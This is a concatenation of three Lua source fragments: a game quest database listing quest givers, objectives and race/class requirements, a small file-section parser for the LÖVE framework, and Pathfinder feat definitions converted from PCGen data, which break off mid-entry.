["pre"] = { 80100 },
},
-- Fancy Letter
[80118] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80108 },
},
["race"] = 178,
["class"] = 128,
["lvl"] = 2,
["min"] = 2,
["pre"] = { 80100 },
},
-- Awful-looking Letter
[80119] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80107 },
},
["race"] = 178,
["class"] = 256,
["lvl"] = 2,
["min"] = 2,
["pre"] = { 80100 },
},
-- Garbage Man
[80120] = {
["start"] = {
["U"] = { 80131 },
},
["end"] = {
["U"] = { 80131 },
},
["obj"] = {
["I"] = { 80155 },
},
["race"] = 178,
["lvl"] = 1,
["min"] = 1,
},
-- This Is In My Contract
[80121] = {
["start"] = {
["U"] = { 80107 },
},
["end"] = {
["U"] = { 80107 },
},
["obj"] = {
["I"] = { 80170 },
},
["race"] = 178,
["class"] = 256,
["lvl"] = 6,
["min"] = 4,
["pre"] = { 80100 },
},
-- Mastering the Arcane
[80311] = {
["start"] = {
["U"] = { 80857 },
},
["end"] = {
["U"] = { 80831 },
},
["race"] = 178,
["class"] = 128,
["lvl"] = 16,
["min"] = 14,
["next"] = { 80312 },
},
-- Arcane Arms
[80312] = {
["start"] = {
["U"] = { 80831 },
},
["end"] = {
["U"] = { 80831 },
},
["obj"] = {
["I"] = { 80862, 80863, 80864 },
},
["race"] = 178,
["class"] = 128,
["lvl"] = 18,
["min"] = 14,
["pre"] = { 80311 },
},
-- Apple a Day
[80315] = {
["start"] = {
["U"] = { 80460 },
},
["end"] = {
["U"] = { 80460 },
},
["race"] = 77,
["lvl"] = 8,
["min"] = 8,
},
-- Burning Bridges
[80320] = {
["start"] = {
["U"] = { 80902 },
},
["end"] = {
["U"] = { 80902 },
},
["obj"] = {
["I"] = { 80868 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 7,
["next"] = { 80321 },
},
-- The Hunter's Path
[80330] = {
["start"] = {
["U"] = { 3407 },
},
["end"] = {
["U"] = { 80903 },
},
["class"] = 4,
["race"] = 178,
["lvl"] = 10,
["min"] = 10,
},
-- Taming the Beast
[80331] = {
["start"] = {
["U"] = { 80903 },
},
["end"] = {
["U"] = { 80903 },
},
["obj"] = {
["IR"] = { 15917 },
},
["class"] = 4,
["race"] = 178,
["lvl"] = 10,
["min"] = 10,
["next"] = { 80332 },
},
-- Taming the Beast
[80332] = {
["start"] = {
["U"] = { 80903 },
},
["end"] = {
["U"] = { 80903 },
},
["obj"] = {
["IR"] = { 15919 },
},
["class"] = 4,
["race"] = 178,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 80331 },
["next"] = { 80333 },
},
-- Taming the Beast
[80333] = {
["start"] = {
["U"] = { 80903 },
},
["end"] = {
["U"] = { 80903 },
},
["obj"] = {
["IR"] = { 15920 },
},
["class"] = 4,
["race"] = 178,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 80332 },
["next"] = { 80334 },
},
-- Training the Beast
[80334] = {
["start"] = {
["U"] = { 80903 },
},
["end"] = {
["U"] = { 3352 },
},
["class"] = 4,
["race"] = 178,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 80333 },
},
-- The Hunter's Path
[80339] = {
["start"] = {
["U"] = { 5515, 5116, 5117, 895 },
},
["end"] = {
["U"] = { 80855 },
},
["class"] = 64,
["race"] = 77,
["lvl"] = 10,
["min"] = 10,
},
-- Taming the Beast
[80340] = {
["start"] = {
["U"] = { 80855 },
},
["end"] = {
["U"] = { 80855 },
},
["obj"] = {
["IR"] = { 15911 },
},
["class"] = 4,
["race"] = 64,
["lvl"] = 10,
["min"] = 10,
["next"] = { 80341 },
},
-- Taming the Beast
[80341] = {
["start"] = {
["U"] = { 80855 },
},
["end"] = {
["U"] = { 80855 },
},
["obj"] = {
["IR"] = { 15913 },
},
["class"] = 4,
["race"] = 64,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 80340 },
["next"] = { 80342 },
},
-- Taming the Beast
[80342] = {
["start"] = {
["U"] = { 80855 },
},
["end"] = {
["U"] = { 80855 },
},
["obj"] = {
["IR"] = { 15908 },
},
["class"] = 4,
["race"] = 64,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 80341 },
["next"] = { 80343 },
},
-- Training the Beast
[80343] = {
["start"] = {
["U"] = { 80855 },
},
["end"] = {
["U"] = { 10090 },
},
["class"] = 4,
["race"] = 64,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 80342 },
},
-- Etched Rune
[80350] = {
["start"] = {
["U"] = { 658 },
},
["end"] = {
["U"] = { 895 },
},
["class"] = 4,
["race"] = 77,
["lvl"] = 1,
["min"] = 1,
["pre"] = { 179 },
},
-- The Hunter's Path
[80366] = {
["start"] = {
["U"] = { 80458 },
},
["end"] = {
["U"] = { 1231 },
},
["class"] = 4,
["race"] = 77,
["lvl"] = 10,
["min"] = 10,
},
-- Lizzi's Competitor
[80380] = {
["start"] = {
["U"] = { 80991 },
},
["end"] = {
["U"] = { 80991 },
},
["obj"] = {
["I"] = { 12206,19222,2924,5471 },
},
["lvl"] = 60,
["min"] = 1,
},
-- Shellcoins
[80381] = {
["start"] = {
["U"] = { 80999 },
},
["end"] = {
["U"] = { 80999 },
},
["obj"] = {
["I"] = { 81117 },
},
["lvl"] = 35,
["min"] = 1,
},
-- VIP Invites
[80382] = {
["start"] = {
["U"] = { 80990 },
},
["end"] = {
["U"] = { 80990 },
},
["obj"] = {
["U"] = { 3391, 2496 },
},
["lvl"] = 35,
["min"] = 1,
},
-- Sharks Are Friends, Not Food
[80383] = {
["start"] = {
["U"] = { 80997 },
},
["end"] = {
["U"] = { 80997 },
},
["obj"] = {
["U"] = { 81006 },
},
["lvl"] = 35,
["min"] = 1,
},
-- Pinch of Salt
[80384] = {
["start"] = {
["U"] = { 5941 },
},
["end"] = {
["U"] = { 5941 },
},
["obj"] = {
["I"] = { 81181 },
},
["race"] = 178,
["lvl"] = 6,
["min"] = 6,
},
-- Stay awhile and listen...
[80388] = {
["start"] = {
["U"] = { 81030 },
},
["end"] = {
["U"] = { 81030 },
},
["lvl"] = 1,
["min"] = 1,
},
-- A Glittering Opportunity
[80395] = {
["start"] = {
["U"] = { 3658 },
},
["end"] = {
["U"] = { 81041 },
},
["obj"] = {
["O"] = { 3000284 },
},
["lvl"] = 13,
["min"] = 13,
["next"] = { 80396 },
},
-- A Bloody Good Deed
[80396] = {
["start"] = {
["U"] = { 81041 },
},
["end"] = {
["U"] = { 81041 },
},
["obj"] = {
["U"] = { 3397, 3274, 3275 },
},
["lvl"] = 13,
["min"] = 13,
["next"] = { 80407 },
["pre"] = { 80395 },
},
-- Zalazane's Apprentice
[80399] = {
["start"] = {
["I"] = { 59990 },
},
["end"] = {
["U"] = { 3188 },
},
["obj"] = {
["I"] = { 59996, 59995 },
},
["lvl"] = 8,
["min"] = 6,
},
-- A Journey Into The Caverns
[80604] = {
["start"] = {
["U"] = { 10667 },
},
["end"] = {
["U"] = { 65005 },
},
["lvl"] = 60,
["min"] = 60,
["next"] = { 80605 },
},
-- The First Opening of The Dark Portal
[80605] = {
["start"] = {
["U"] = { 65005 },
},
["end"] = {
["U"] = { 65004 },
},
["obj"] = {
["I"] = { 51044 },
},
["lvl"] = 60,
["min"] = 60,
["pre"] = { 80604 },
},
-- Training the Beast
[80755] = {
["start"] = {
["U"] = { 60488 },
},
["end"] = {
["U"] = { 60488 },
},
["race"] = 16,
["class"] = 4,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 40261, 40260, 40248, 40249, 40250, 40262 },
},
-- Durotar Scouring
[807] = {
["start"] = {
["U"] = { 3142 },
},
["end"] = {
["U"] = { 3142 },
},
["obj"] = {
["I"] = { 4868 },
},
["lvl"] = 10,
["min"] = 4,
},
-- Work for Food
[814] = {
["start"] = {
["U"] = { 3191 },
},
["end"] = {
["U"] = { 3191 },
},
["obj"] = {
["I"] = { 769 },
},
["lvl"] = 6,
["min"] = 4,
},
-- Study to Survive
[810] = {
["start"] = {
["U"] = { 3189 },
},
["end"] = {
["U"] = { 3189 },
},
["obj"] = {
["I"] = { 51000 },
},
["lvl"] = 5,
["min"] = 4,
["next"] = { 811 },
},
-- Unity is Strength
[811] = {
["start"] = {
["U"] = { 3189 },
},
["end"] = {
["U"] = { 3189 },
},
["obj"] = {
["I"] = { 51001 },
},
["lvl"] = 8,
["min"] = 5,
["pre"] = { 810 },
},
-- What Do You Rely On?
[820] = {
["start"] = {
["U"] = { 3304 },
},
["end"] = {
["U"] = { 3304 },
},
["obj"] = {
["I"] = { 2676 },
},
["lvl"] = 10,
["min"] = 5,
},
-- Professor Malkovich
[50000] = {
["start"] = {
["U"] = { 2122, 3155 },
},
["end"] = {
["U"] = { 50002 },
},
["race"] = 178,
["class"] = 8,
["lvl"] = 6,
["min"] = 2,
["next"] = { 50002 },
},
-- The Human Anatomy
[50002] = {
["start"] = {
["U"] = { 50002 },
},
["end"] = {
["U"] = { 50002 },
},
["obj"] = {
["I"] = { 50063 },
},
["race"] = 178,
["class"] = 8,
["lvl"] = 6,
["min"] = 2,
["pre"] = { 50000 },
},
-- Professor Papucho
[50003] = {
["start"] = {
["U"] = { 3594, 915, 916 },
},
["end"] = {
["U"] = { 50004 },
},
["race"] = 77,
["class"] = 8,
["lvl"] = 6,
["min"] = 2,
["next"] = { 50004 },
},
-- The Orcish Anatomy
[50004] = {
["start"] = {
["U"] = { 50004 },
},
["obj"] = {
["I"] = { 50064 },
},
["end"] = {
["U"] = { 50004 },
},
["race"] = 77,
["class"] = 8,
["lvl"] = 6,
["min"] = 2,
["pre"] = { 50003 },
},
-- Oil-Stained Gold
[70051] = {
["start"] = {
["U"] = { 70060 },
},
["end"] = {
["U"] = { 70060 },
},
["obj"] = {
["I"] = { 70031 },
},
["lvl"] = 9,
["min"] = 7,
},
-- Farstrider Lodge
[80200] = {
["start"] = {
["U"] = { 80200 },
},
["end"] = {
["U"] = { 1156 },
},
["race"] = 77,
["lvl"] = 1,
["min"] = 1,
["next"] = { 80201, 80203, 80211 },
},
-- Stocking Up on Wood
[80201] = {
["start"] = {
["U"] = { 1156 },
},
["obj"] = {
["I"] = { 80200 },
},
["end"] = {
["U"] = { 1156 },
},
["race"] = 77,
["lvl"] = 1,
["min"] = 1,
["pre"] = { 80200 },
},
-- Clearing Out Vermin
[80203] = {
["start"] = {
["U"] = { 80202 },
},
["obj"] = {
["U"] = { 80201 },
},
["end"] = {
["U"] = { 80202 },
},
["race"] = 77,
["lvl"] = 1,
["min"] = 1,
["pre"] = { 80200 },
["next"] = { 80204 },
},
-- Gathering Intel
[80204] = {
["start"] = {
["U"] = { 80202 },
},
["obj"] = {
["A"] = { 80203 },
},
["end"] = {
["U"] = { 80202 },
},
["race"] = 77,
["lvl"] = 3,
["min"] = 2,
["pre"] = { 80203 },
},
-- Slaking Their Thirst
[80205] = {
["start"] = {
["U"] = { 1156 },
},
["obj"] = {
["O"] = { 3000202 },
},
["end"] = {
["U"] = { 1156 },
},
["race"] = 77,
["lvl"] = 3,
["min"] = 2,
["pre"] = { 80201 },
["next"] = { 80206 },
},
-- Burnt Wheels
[80206] = {
["start"] = {
["U"] = { 1156 },
},
["obj"] = {
["U"] = { 80200 },
},
["end"] = {
["U"] = { 80202 },
},
["race"] = 77,
["lvl"] = 4,
["min"] = 3,
["pre"] = { 80205 },
["next"] = { 80207 },
},
-- Dark Iron Scrapping
[80207] = {
["start"] = {
["U"] = { 80202 },
},
["obj"] = {
["I"] = { 80216 },
},
["end"] = {
["U"] = { 80202 },
},
["race"] = 77,
["lvl"] = 4,
["min"] = 3,
["pre"] = { 80206 },
["next"] = { 80208 },
},
-- Sunblade Reunion
[80208] = {
["start"] = {
["U"] = { 1156 },
},
["obj"] = {
["U"] = { 80200 },
},
["end"] = {
["U"] = { 80202 },
},
["race"] = 77,
["lvl"] = 5,
["min"] = 4,
["pre"] = { 80207 },
["next"] = { 80209 },
},
-- Porting to Goldshire
[80209] = {
["start"] = {
["U"] = { 80202 },
},
["obj"] = {
["U"] = { 80213 },
},
["end"] = {
["U"] = { 240 },
},
["race"] = 77,
["lvl"] = 5,
["min"] = 4,
["pre"] = { 80208 },
},
-- Providing a Balanced Diet
[80210] = {
["start"] = {
["U"] = { 1156 },
},
["obj"] = {
["I"] = { 80224, 80225 },
},
["end"] = {
["U"] = { 1156 },
},
["race"] = 77,
["lvl"] = 4,
["min"] = 3,
["pre"] = { 80201 },
},
-- Seeking Further Guidance
[80211] = {
["start"] = {
["U"] = { 1156 },
},
["end"] = {
["U"] = { 80219 },
},
["race"] = 77,
["class"] = 4,
["lvl"] = 3,
["min"] = 3,
["pre"] = { 80200 },
},
-- Seeking Further Guidance
[80212] = {
["start"] = {
["U"] = { 1156 },
},
["end"] = {
["U"] = { 80220 },
},
["race"] = 77,
["class"] = 2,
["lvl"] = 3,
["min"] = 3,
["pre"] = { 80200 },
},
-- Seeking Further Guidance
[80213] = {
["start"] = {
["U"] = { 1156 },
},
["end"] = {
["U"] = { 80221 },
},
["race"] = 77,
["class"] = 16,
["lvl"] = 3,
["min"] = 3,
["pre"] = { 80200 },
},
-- Seeking Further Guidance
[80214] = {
["start"] = {
["U"] = { 1156 },
},
["end"] = {
["U"] = { 80218 },
},
["race"] = 77,
["class"] = 128,
["lvl"] = 3,
["min"] = 3,
["pre"] = { 80200 },
},
-- Seeking Further Guidance
[80215] = {
["start"] = {
["U"] = { 1156 },
},
["end"] = {
["U"] = { 80223 },
},
["race"] = 77,
["class"] = 8,
["lvl"] = 3,
["min"] = 3,
["pre"] = { 80200 },
},
-- Seeking Further Guidance
[80216] = {
["start"] = {
["U"] = { 1156 },
},
["end"] = {
["U"] = { 80217 },
},
["race"] = 77,
["class"] = 1,
["lvl"] = 3,
["min"] = 3,
["pre"] = { 80200 },
},
-- Pelts and Tusks
[80217] = {
["start"] = {
["U"] = { 1154 },
},
["obj"] = {
["I"] = { 80232, 80233 },
},
["end"] = {
["U"] = { 1154 },
},
["race"] = 77,
["lvl"] = 2,
["min"] = 2,
},
-- KABOOM!
[80219] = {
["start"] = {
["U"] = { 80961 },
},
["end"] = {
["U"] = { 80961 },
},
["obj"] = {
["I"] = { 4378 },
},
["lvl"] = 60,
["min"] = 1,
},
-- A New Place in Stormwind
[80220] = {
["start"] = {
["U"] = { 240 },
},
["end"] = {
["U"] = { 80405 },
},
["race"] = 77,
["lvl"] = 5,
["min"] = 5,
},
-- Assisting the Children of the Sun
[80250] = {
["start"] = {
["U"] = { 80230 },
},
["end"] = {
["U"] = { 1752 },
},
["race"] = 77,
["lvl"] = 10,
["min"] = 10,
["next"] = { 80251 },
},
-- To Alah'Thalas!
[80251] = {
["start"] = {
["U"] = { 1752 },
},
["end"] = {
["U"] = { 5498 },
},
["race"] = 77,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 80250 },
["next"] = { 80252, 80253, 80256, 80258 },
},
-- Triggered!
[60120] = {
["start"] = {
["U"] = { 3293 },
},
["end"] = {
["U"] = { 3293 },
},
["obj"] = {
["I"] = { 51845 },
},
["lvl"] = 9,
["min"] = 7,
},
-- Quark's Shack
[80305] = {
["start"] = {
["U"] = { 5610 },
},
["end"] = {
["U"] = { 80601 },
},
["lvl"] = 10,
["min"] = 10,
["next"] = { 80306 },
},
-- WANTED: Hole Escapee
[55048] = {
["start"] = {
["O"] = { 1000504 },
},
["end"] = {
["U"] = { 91249 },
["O"] = { 1000504 },
},
["obj"] = {
["U"] = { 91296 },
},
["lvl"] = 14,
["min"] = 8,
},
-- A Gizmo a Day...
[80386] = {
["start"] = {
["U"] = { 80961 },
},
["end"] = {
["U"] = { 80961 },
},
["obj"] = {
["I"] = { 4375 },
},
["race"] = 434,
["lvl"] = 60,
["min"] = 10,
},
-- Out For Delivery
[60122] = {
["start"] = {
["U"] = { 5610 },
},
["end"] = {
["U"] = { 3322 },
},
["obj"] = {
["I"] = { 51846 },
},
["lvl"] = 10,
["min"] = 7,
["pre"] = { 60121 },
},
-- A Tusken Affair
[80300] = {
["start"] = {
["U"] = { 80800 },
},
["end"] = {
["U"] = { 5885 },
},
["lvl"] = 10,
["min"] = 10,
["next"] = { 80301, 80303, 80304, 80360 },
},
-- What's Yours is Ours
[80306] = {
["start"] = {
["U"] = { 80601 },
},
["end"] = {
["U"] = { 80601 },
},
["obj"] = {
["U"] = { 80600 },
},
["lvl"] = 10,
["min"] = 10,
["pre"] = { 80305 },
["next"] = { 80307 },
},
-- Yet Another Smoke Cloud Above Orgrimmar
[80307] = {
["start"] = {
["U"] = { 80601 },
},
["end"] = {
["U"] = { 6791 },
},
["lvl"] = 13,
["min"] = 10,
["pre"] = { 80306 },
["next"] = { 80308 },
},
-- Lighting the Pyres
[80301] = {
["start"] = {
["U"] = { 80801 },
},
["end"] = {
["U"] = { 80801 },
},
["obj"] = {
["O"] = { 3000242 },
},
["lvl"] = 60,
["min"] = 10,
["pre"] = { 80300 },
},
-- Tobacco Thieves
[80308] = {
["start"] = {
["U"] = { 6791 },
},
["end"] = {
["U"] = { 80601 },
},
["obj"] = {
["I"] = { 80401 },
},
["lvl"] = 13,
["min"] = 10,
["pre"] = { 80307 },
["next"] = { 80309 },
},
-- The Lies that Bind Us
[80321] = {
["start"] = {
["U"] = { 3391 },
},
["end"] = {
["U"] = { 3359 },
},
["obj"] = {
["I"] = { 80868 },
},
["lvl"] = 60,
["min"] = 13,
["pre"] = { 80320 },
["next"] = { 80322 },
},
-- The Lies That Bind Us
[80322] = {
["start"] = {
["U"] = { 3359 },
},
["end"] = {
["U"] = { 3682 },
},
["obj"] = {
["I"] = { 80868 },
},
["lvl"] = 60,
["min"] = 13,
["pre"] = { 80321 },
["next"] = { 80323 },
},
-- The Lies That Bind Us
[80323] = {
["start"] = {
["U"] = { 3682 },
},
["end"] = {
["U"] = { 3391 },
},
["obj"] = {
["I"] = { 80868 },
},
["lvl"] = 60,
["min"] = 13,
["pre"] = { 80322 },
},
-- Odo's Gut Feeling
[80309] = {
["start"] = {
["U"] = { 80605 },
},
["end"] = {
["U"] = { 80605 },
},
["obj"] = {
["I"] = { 80402, 80403 },
},
["lvl"] = 14,
["min"] = 13,
["pre"] = { 80308 },
["next"] = { 80310 },
},
-- Quark's Justice
[80310] = {
["start"] = {
["U"] = { 80601, 658 },
},
["end"] = {
["U"] = { 80601, 895 },
},
["obj"] = {
["U"] = { 80603, 80604 },
},
["lvl"] = 14,
["min"] = 13,
["pre"] = { 80309 },
},
-- The Means To Heal
[80304] = {
["start"] = {
["U"] = { 80802 },
},
["end"] = {
["U"] = { 80802 },
},
["obj"] = {
["I"] = { 80420, 80421 },
},
["lvl"] = 60,
["min"] = 20,
["pre"] = { 80300 },
},
-- Bandit Lord
[40138] = {
["start"] = {
["U"] = { 91749 },
},
["end"] = {
["U"] = { 91749 },
},
["obj"] = {
["I"] = { 60197 },
},
["lvl"] = 19,
["min"] = 15,
},
-- The Rogue Heights
[40083] = {
["start"] = {
["U"] = { 91729 },
},
["end"] = {
["U"] = { 91729 },
},
["obj"] = {
["U"] = { 91761, 91762 },
},
["lvl"] = 17,
["min"] = 11,
["next"] = { 40084, 40085 },
},
-- Magical Interference
[40084] = {
["start"] = {
["U"] = { 91729 },
},
["end"] = {
["U"] = { 91729 },
},
["obj"] = {
["I"] = { 60378 },
},
["lvl"] = 20,
["min"] = 11,
["pre"] = { 40083 },
},
-- Stealing Arcane Goods
[40085] = {
["start"] = {
["U"] = { 91729 },
},
["end"] = {
["U"] = { 91729 },
},
["obj"] = {
["I"] = { 60381 },
},
["lvl"] = 18,
["min"] = 11,
["pre"] = { 40083 },
},
-- Supplying the Sepulcher
[6321] = {
["start"] = {
["U"] = { 6389 },
},
["end"] = {
["U"] = { 2226 },
},
["obj"] = {
["I"] = { 16209 },
},
["race"] = 434,
["lvl"] = 10,
["min"] = 10,
["next"] = { 6323, 6322, 6324 },
},
-- Ride to the Undercity
[6323] = {
["start"] = {
["U"] = { 2226 },
},
["end"] = {
["U"] = { 4556 },
},
["obj"] = {
["I"] = { 16209 },
},
["race"] = 434,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 6321 },
["next"] = { 6322, 6324 },
},
-- Michael Garrett
[6322] = {
["start"] = {
["U"] = { 4556 },
},
["end"] = {
["U"] = { 4551 },
},
["obj"] = {
["I"] = { 16210 },
},
["race"] = 434,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 6321, 6323 },
["next"] = { 6324 },
},
-- Return to Podrig
[6324] = {
["start"] = {
["U"] = { 4551 },
},
["end"] = {
["U"] = { 6389 },
},
["obj"] = {
["I"] = { 16210 },
},
["race"] = 434,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 6321, 6323, 6322 },
},
-- The Glowing Shard
[6981] = {
["start"] = {
["I"] = { 10441 },
},
["end"] = {
["U"] = { 8418 },
},
["obj"] = {
["I"] = { 10441 },
["U"] = { 3442 },
},
["lvl"] = 26,
["min"] = 15,
["next"] = { 3369, 3370 },
},
}
|
local m = {}
local PROPERTY_PATTERN = "([%w%-%.]+)=(.*)"
local SECTION_PATTERN = "%-%-%- ?([%w%-%.]+)"
function m.parse_property(line)
property, value = line:match(PROPERTY_PATTERN)
if property == nil then
error("line isn't a valid property declaration.")
end
return property, value
end
function m.read_file_sections(path)
local file = love.filesystem.newFile(path)
local sections = {}
local name = nil
local section = nil
for line in file:lines() do
section_name = line:match(SECTION_PATTERN)
if section_name then
if name then -- Don't try to save first "nil" section
sections[name] = section
end
section = {}
name = section_name
else
if not section then
error("Line outside of section.")
end
section[#section+1] = line
end
end
if name then
sections[name] = section
end
return sections
end
return m
|
-- Converted From LST file data\pathfinder\paizo\roleplaying_game\core_rulebook\cr_feats.lst
-- From repository https://github.com/pcgen/pcgen at commit 11ceb52482855f2e5f0f6c108c3dc665b12af237
SetSource({
SourceLong="Core Rulebook",
SourceShort="CR",
SourceWeb="http://paizo.com/store/downloads/pathfinder/pathfinderRPG/v5748btpy88yj",
SourceDate="2009-08",
})
DefineAbility({
Name="Acrobatic",
Category="FEAT",
Description={
Format="You are skilled at leaping, jumping, and flying.",
},
SourcePage="p.113",
Benefits={
{
FormatString="You get a +2 bonus on all Acrobatics and Fly skill checks. If you have 10 or more ranks in one of these skills, the bonus increases to +4 for that skill.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Acrobatics\")>=10,4,2)"),
Variables={
"Acrobatics",
},
},
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Fly\")>=10,4,2)"),
Variables={
"Fly",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Acrobatic Steps",
Category="FEAT",
Description={
Format="You can easily move over and through obstacles.",
},
SourcePage="p.113",
Benefits={
{
FormatString="Whenever you move, you may move through up to 15 feet of difficult terrain each round as if it were normal terrain. The effects of this feat stack with those provided by Nimble Moves (allowing you to move normally through a total of 20 feet of difficult terrain each round).",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("15"),
Variables={
"Feat_NimbleMoves_Squares",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Nimble Moves" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 15) or (character.Variables["FeatDexRequirement"] >= 15)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Agile Maneuvers",
Category="FEAT",
Description={
Format="You learned to use your quickness in place of brute force when performing combat maneuvers.",
},
SourcePage="p.117",
Benefits={
{
FormatString="You add your Dexterity bonus to your base attack bonus and size bonus when determining your Combat Maneuver Bonus (see Chapter 8) instead of your Strength bonus.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("DEX-STR"),
Conditions={
function (character, item, sources)
return character.Size > "T"
end,
},
Variables={
"CMB_STAT",
},
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Alertness",
Category="FEAT",
Description={
Format="You often notice things that others might miss.",
},
SourcePage="p.117",
Benefits={
{
FormatString="You get a +2 bonus on Perception and Sense Motive skill checks. If you have 10 or more ranks in one of these skills, the bonus increases to +4 for that skill.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Perception\")>=10,4,2)"),
Variables={
"Perception",
},
},
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Sense Motive\")>=10,4,2)"),
Variables={
"Sense Motive",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Alignment Channel",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseString({"Chaos", "Evil", "Good", "Law"}),
},
Description={
Format="You can channel your divine energy to harm or heal outsiders that possess your chosen alignment subtype.",
},
SourcePage="p.117",
Stackable=false,
Benefits={
{
FormatString="Instead of its normal effect, you can choose to have your ability to channel energy heal or harm outsiders of the chosen alignment subtype. You must make this choice each time you channel energy. If you choose to heal or harm creatures of the chosen alignment subtype, your channel energy has no effect on other creatures. The amount of damage healed or dealt and the DC to halve the damage is otherwise unchanged.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Channel Energy") then return true end
return false
end)
end,
},
Types={
"General",
"AttackOption",
},
})
DefineAbility({
Name="Animal Affinity",
Category="FEAT",
Description={
Format="You are skilled at working with animals and mounts.",
},
SourcePage="p.118",
Benefits={
{
FormatString="You get a +2 bonus on all Handle Animal and Ride skill checks. If you have 10 or more ranks in one of these skills, the bonus increases to +4 for that skill.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Handle Animal\")>=10,4,2)"),
Variables={
"Handle Animal",
},
},
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Ride\")>=10,4,2)"),
Variables={
"Ride",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Arcane Armor Mastery",
Category="FEAT",
Description={
Format="You have mastered the ability to cast spells while wearing armor.",
},
SourcePage="p.118",
TemporaryBonus={
Bonus={
Category="MISC",
Formula=Formula("-20"),
Type={
Name="ArmorFailure",
},
Variables={
"SPELLFAILURE",
},
},
Target="PC",
},
Benefits={
{
FormatString="As a swift action, reduce the arcane spell failure chance due to the armor you are wearing by 20%% for any spells you cast this round. This bonus replaces, and does not stack with, the bonus granted by Arcane Armor Training.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Arcane Armor Training" then return true end
return false
end)
end,
function (character, item, sources)
return ((character.CountSpellCastingClasses(7))) >= 1 or (character.Variables["CasterLevel_Highest"] >= 7)
end,
function (character, item, sources)
return (character.IsProficientWithArmorType("Medium")) or character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Armor Proficiency (Medium)" then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Arcane Armor Training",
Category="FEAT",
Description={
Format="You have learned how to cast spells while wearing armor.",
},
SourcePage="p.118",
TemporaryBonus={
Bonus={
Category="MISC",
Formula=Formula("-10"),
Type={
Name="ArmorFailure",
},
Variables={
"SPELLFAILURE",
},
},
Target="PC",
},
Benefits={
{
FormatString="As a swift action, reduce the arcane spell failure chance due to the armor you are wearing by 10%% for any spells you cast this round.",
},
},
Conditions={
function (character, item, sources)
return ((character.CountSpellCastingClasses(3))) >= 1 or (character.Variables["CasterLevel_Highest"] >= 3)
end,
function (character, item, sources)
return (character.IsProficientWithArmorType("Light")) or character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Armor Proficiency (Light)" then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Arcane Strike",
Category="FEAT",
Description={
Format="As a swift action, you can imbue your weapons with a fraction of your power. For 1 round, you gain a +%1 damage bonus and your weapons are treated as magic for the purpose of overcoming damage reduction.",
Arguments={
Formula("ArcaneStrikeDamageBonus"),
},
},
SourcePage="p.118",
TemporaryBonus={
Bonus={
Category="COMBAT",
Formula=Formula("ArcaneStrikeDamageBonus"),
Variables={
"DAMAGE.Weapon",
},
},
Target="PC",
},
Benefits={
{
FormatString="As a swift action, you can imbue your weapons with a fraction of your power. For 1 round, your weapons deal +1 damage and are treated as magic for the purpose of overcoming damage reduction. For every five caster levels you possess, this bonus increases by +1, to a maximum of +5 at 20th level.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("min(1+ArcaneStrikeLVL/5,5)"),
Variables={
"ArcaneStrikeDamageBonus",
},
},
},
Conditions={
function (character, item, sources)
return ((character.CountArcaneSpellCastingClasses(1))) >= 1 or (character.Variables["Caster_Level_Highest__Arcane"] >= 1) or character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("SpellLike") then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Armor Proficiency (Heavy)",
Category="FEAT",
Description={
Format="You are skilled at wearing heavy armor.",
},
DisplayName="Armor Proficiency, Heavy",
SourcePage="p.118",
AutomaticProficiencies={
{
Kind="Armor",
Types={
"ArmorProfHeavy",
},
},
},
Benefits={
{
FormatString="When you wear a type of armor with which you are proficient, the armor check penalty for that armor applies only to Dexterity- and Strength-based skill checks.",
},
},
Conditions={
function (character, item, sources)
return (character.IsProficientWithArmorType("Medium")) or character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Armor Proficiency (Medium)" then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Armor Proficiency (Light)",
Category="FEAT",
Description={
Format="You are skilled at wearing light armor.",
},
